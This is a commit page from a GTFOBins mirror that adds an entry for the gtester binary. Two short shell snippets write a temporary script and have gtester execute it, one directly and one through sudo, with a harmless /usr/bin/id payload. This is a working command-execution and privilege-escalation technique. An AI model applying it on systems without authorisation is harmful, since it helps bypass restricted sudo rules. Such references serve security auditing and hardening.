mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
Create gtester.md
This commit is contained in:
parent
813d1bebca
commit
ee1093fc7b
17
_gtfobins/gtester.md
Normal file
17
_gtfobins/gtester.md
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
command:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo '#!/bin/sh' > $TF
|
||||||
|
echo '/usr/bin/id' >> $TF
|
||||||
|
chmod +x $TF
|
||||||
|
gtester -q $TF
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo '#!/bin/sh' > $TF
|
||||||
|
echo '/usr/bin/id' >> $TF
|
||||||
|
chmod +x $TF
|
||||||
|
sudo gtester -q $TF
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user